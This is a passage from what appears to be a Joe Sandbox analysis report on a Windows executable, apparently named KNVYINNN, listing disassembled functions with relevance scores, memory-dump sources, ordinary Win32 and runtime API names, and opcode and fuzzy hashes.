                                                                                                                                                                    • Opcode Fuzzy Hash: e6cc57008c55985f415ed924a97a09d3e03cc914fcebae2233bc98605e233276
                                                                                                                                                                    • Instruction Fuzzy Hash: 91114C71B08B4185E700AB2AA840169F7A1BF6BFC9FD44139DB0C8332ADFBCE5118794
                                                                                                                                                                    Function 00007FF7B1DD2A10 Relevance: 3.0, APIs: 2, Instructions: 47COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFileLastPointer
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2976181284-0
                                                                                                                                                                    • Opcode ID: 64a9290797105c02b0ccf20e1238879dc32e8dee9d3b54dc159208db3474318d
                                                                                                                                                                    • Instruction ID: c40aabb943ca66885ac8016cdfac301a9e0741f3f047d7f7b76a5f62e3437d8f
                                                                                                                                                                    • Opcode Fuzzy Hash: 64a9290797105c02b0ccf20e1238879dc32e8dee9d3b54dc159208db3474318d
                                                                                                                                                                    • Instruction Fuzzy Hash: 0611A221A0864291EB70AB2DE44027AA360EB66B7CFD45331DB3D562DCCFBCD542C311
                                                                                                                                                                    Function 00007FF7B1DD1230 Relevance: 3.0, APIs: 2, Instructions: 37COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ItemRectTextWindow$Clientswprintf
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3322643685-0
                                                                                                                                                                    • Opcode ID: b125b967a03e8941689ddab8695ffb79a431a4240593221ed613d7c3783d26ce
                                                                                                                                                                    • Instruction ID: b65c7b6f590712cb1ec18d7c97d159e8375f22455967763b167877aabd24f2f7
                                                                                                                                                                    • Opcode Fuzzy Hash: b125b967a03e8941689ddab8695ffb79a431a4240593221ed613d7c3783d26ce
                                                                                                                                                                    • Instruction Fuzzy Hash: DE01B560E0C64681FF157799A685378D790AF67B48F880134CB4D4639EDEEDF145C760
                                                                                                                                                                    Function 00007FF7B1DE999C Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1173176844-0
                                                                                                                                                                    • Opcode ID: 9181b5449a08cd9cbbcd7692beca2281eb77e3a075ddbf10d2aca2b887a17d7c
                                                                                                                                                                    • Instruction ID: 88bdbb987d756d719b78cce07822d7e6ef21d8c1a2396606c305ea4b0b49278f
                                                                                                                                                                    • Opcode Fuzzy Hash: 9181b5449a08cd9cbbcd7692beca2281eb77e3a075ddbf10d2aca2b887a17d7c
                                                                                                                                                                    • Instruction Fuzzy Hash: 84E0B642E0A10746FF2C326A1D1627491400F6737AE986B309B7D042CFAD9CA5628130
                                                                                                                                                                    Function 00007FF7B1DF46E4 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFreeHeapLast
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 485612231-0
                                                                                                                                                                    • Opcode ID: 414d1e517c1b2a9ec2ba446668577b3b95cc0989972275c948ff172d31d1cb21
                                                                                                                                                                    • Instruction ID: 5d5bf2ced53823432969fd272f7aba40814ea158910e3075a2e5078298e7f47a
                                                                                                                                                                    • Opcode Fuzzy Hash: 414d1e517c1b2a9ec2ba446668577b3b95cc0989972275c948ff172d31d1cb21
                                                                                                                                                                    • Instruction Fuzzy Hash: CEE08620F0950342FF0477FAA484278D3D15F67B49F850434CB0D4625DDFACA6814270
                                                                                                                                                                    Function 00007FF7B1DEC3EC Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Alloc__vcrt___vcrt_uninitialize_ptd
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3765095794-0
                                                                                                                                                                    • Opcode ID: 62db63923d624c38a34d369d8445faf59d0a3b422bae8680cabb6e87fbc54574
                                                                                                                                                                    • Instruction ID: 4989a5761bfd1c69b93bd37b5c8f85e963b61d0f101fa5b988634d5be98dbc44
                                                                                                                                                                    • Opcode Fuzzy Hash: 62db63923d624c38a34d369d8445faf59d0a3b422bae8680cabb6e87fbc54574
                                                                                                                                                                    • Instruction Fuzzy Hash: 4EE0ED22D0854380EF1C7B7C58461B8A3506F7331AFD05635D62D866EEDEACB1568631
                                                                                                                                                                    Function 00007FF7B1DE7F68 Relevance: 2.5, APIs: 2, Instructions: 31COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: wcscpy
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1284135714-0
                                                                                                                                                                    • Opcode ID: 647e1b0490c0474c9cdc47dde44763036ae28a48829b7ec174f35acca7c350d2
                                                                                                                                                                    • Instruction ID: ccaf7eb0ed3c4fb7200d64840f986bd96ea720558a305bf0e2bfc0276802c822
                                                                                                                                                                    • Opcode Fuzzy Hash: 647e1b0490c0474c9cdc47dde44763036ae28a48829b7ec174f35acca7c350d2
                                                                                                                                                                    • Instruction Fuzzy Hash: 23011E60D0C142A9E702BB2CF8551F4A761AF7774DFC45076D64D462AEEEECB1448330
                                                                                                                                                                    Function 00007FF7B1DF836C Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3215553584-0
                                                                                                                                                                    • Opcode ID: 5dc2b5ab02e4ff4dc8f93adce1140ab100a488eeb0e6e72ef3ec2d993547501d
                                                                                                                                                                    • Instruction ID: ddbc559f88d14cb72fe7cc3a024379e2ce8efb3c150dcfab0e588b3f16f190a5
                                                                                                                                                                    • Opcode Fuzzy Hash: 5dc2b5ab02e4ff4dc8f93adce1140ab100a488eeb0e6e72ef3ec2d993547501d
                                                                                                                                                                    • Instruction Fuzzy Hash: 30114232B1C68286E710BB18E44413AE395FB62388FE40439E74D877ADDFACE5118761
                                                                                                                                                                    Function 00007FF7B1DD37FC Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                      • Part of subcall function 00007FF7B1DD3984: FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD39CE
                                                                                                                                                                      • Part of subcall function 00007FF7B1DD3984: FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD39FF
                                                                                                                                                                      • Part of subcall function 00007FF7B1DD3984: GetLastError.KERNEL32(?,?,00000000,?,?,00007FF7B1DD382B), ref: 00007FF7B1DD3A0E
                                                                                                                                                                    • FindClose.KERNELBASE ref: 00007FF7B1DD3834
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Find$FileFirst$CloseErrorLast
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1464966427-0
                                                                                                                                                                    • Opcode ID: 177ffa92081d2d7b0acdc831f0488067a0aa1df69a46f38590587ae8e6420898
                                                                                                                                                                    • Instruction ID: e499e5a8a0fa75aafb8dcfc98f5669d09b6b668b85189879f75b88c28781eb9c
                                                                                                                                                                    • Opcode Fuzzy Hash: 177ffa92081d2d7b0acdc831f0488067a0aa1df69a46f38590587ae8e6420898
                                                                                                                                                                    • Instruction Fuzzy Hash: A3F086719082C255DB516B7D95413E8A7509F27BBDF884374DBB80B2CFCE9C51948730
                                                                                                                                                                    Function 00007FF7B1DD7EDC Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: BuffChar
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1973267554-0
                                                                                                                                                                    • Opcode ID: 4d075ebd75f1e1a1f77d655833d141078d3b7dd91640c080b8293aedf10d4764
                                                                                                                                                                    • Instruction ID: d763d66d6347ba9a31da07959b0862b2379af7e993c870862f91622a203e26b5
                                                                                                                                                                    • Opcode Fuzzy Hash: 4d075ebd75f1e1a1f77d655833d141078d3b7dd91640c080b8293aedf10d4764
                                                                                                                                                                    • Instruction Fuzzy Hash: 36E0DF22B18B9085E740A717BA0021AA750EB5DFC4F58A030EF8D03B0DCB6DC4928700
                                                                                                                                                                    Function 00007FF7B1DF4680 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: __vcrt_uninitialize_ptd
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1180542099-0
                                                                                                                                                                    • Opcode ID: dd6718efb1d5c2eb9453cbc86a38c62ac466f658d62c1e49b92f65f83ec2880d
                                                                                                                                                                    • Instruction ID: be86b83447e9cde659b448fe87a74592ca91c092c1272c768cca6c7597bf2a2f
                                                                                                                                                                    • Opcode Fuzzy Hash: dd6718efb1d5c2eb9453cbc86a38c62ac466f658d62c1e49b92f65f83ec2880d
                                                                                                                                                                    • Instruction Fuzzy Hash: D9E0B650D0D152C1EB587B6855D60F893902F3731CFD00A75D31E412DEAFEC67819630
                                                                                                                                                                    Function 00007FF7B1DD93B8 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3015471070-0
                                                                                                                                                                    • Opcode ID: aa4befddba6ef0040b7eda380309ae693457e3dafc00a93bf9263887b1dd2939
                                                                                                                                                                    • Instruction ID: 70cf86fe797ac46ecd48e7eac5dcae9dd567e9ee78ffc46ef7fd1de768ab9239
                                                                                                                                                                    • Opcode Fuzzy Hash: aa4befddba6ef0040b7eda380309ae693457e3dafc00a93bf9263887b1dd2939
                                                                                                                                                                    • Instruction Fuzzy Hash: 5ED05B51F0850643E7247719D45573983506B7378EFD04130CB4D1B79DCEADD1128750
                                                                                                                                                                    Function 00007FF7B1DD2AC0 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: File
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 749574446-0
                                                                                                                                                                    • Opcode ID: 0b26834fbb1b7e6e0e7c3e62e29e49870c3ef04d8bc0e52205c20f23b29f7e0c
                                                                                                                                                                    • Instruction ID: 85a4bb735763a3acf4e2632814d5f7719932be6cd9700570584ab01e9c3a99f7
                                                                                                                                                                    • Opcode Fuzzy Hash: 0b26834fbb1b7e6e0e7c3e62e29e49870c3ef04d8bc0e52205c20f23b29f7e0c
                                                                                                                                                                    • Instruction Fuzzy Hash: 78B0922AA1648081CA086716D99101C5321B795B46FE80830C20EE2264CE1D8A978700
                                                                                                                                                                    Function 00007FF7B1DE467C Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CurrentDirectory
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1611563598-0
                                                                                                                                                                    • Opcode ID: 9cbedb16a02a1088a0d00551bded5e84dd216166944dd1c2328b4587057f3df0
                                                                                                                                                                    • Instruction ID: 4c401c7dfcd6e3b1a75f2609b6381330dce42fc8ea5c6a10c17ec8ec30eb9764
                                                                                                                                                                    • Opcode Fuzzy Hash: 9cbedb16a02a1088a0d00551bded5e84dd216166944dd1c2328b4587057f3df0
                                                                                                                                                                    • Instruction Fuzzy Hash: 73A02220F03002C3E3083B3B0C83208032B3FA8B00FC2C038CA08C0228CE0C82FA0B20
                                                                                                                                                                    Function 00007FF7B1DF6B24 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AllocHeap
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 4292702814-0
                                                                                                                                                                    • Opcode ID: 402ce613fa7bd962a40acd938ce3a7cebfbf7a8b317b5fd956b2867e32232231
                                                                                                                                                                    • Instruction ID: faab26ab27f623e54393c9d8adb03108eb19d54a7a509f4536032aa8553fb9b6
                                                                                                                                                                    • Opcode Fuzzy Hash: 402ce613fa7bd962a40acd938ce3a7cebfbf7a8b317b5fd956b2867e32232231
                                                                                                                                                                    • Instruction Fuzzy Hash: CFF04914B0920B41FF64766A9A503B5D3915F66B98F888430CB0E86ACEEE9CE7814230
                                                                                                                                                                    Function 00007FF7B1DD20D0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON
                                                                                                                                                                    Download Yara Rule
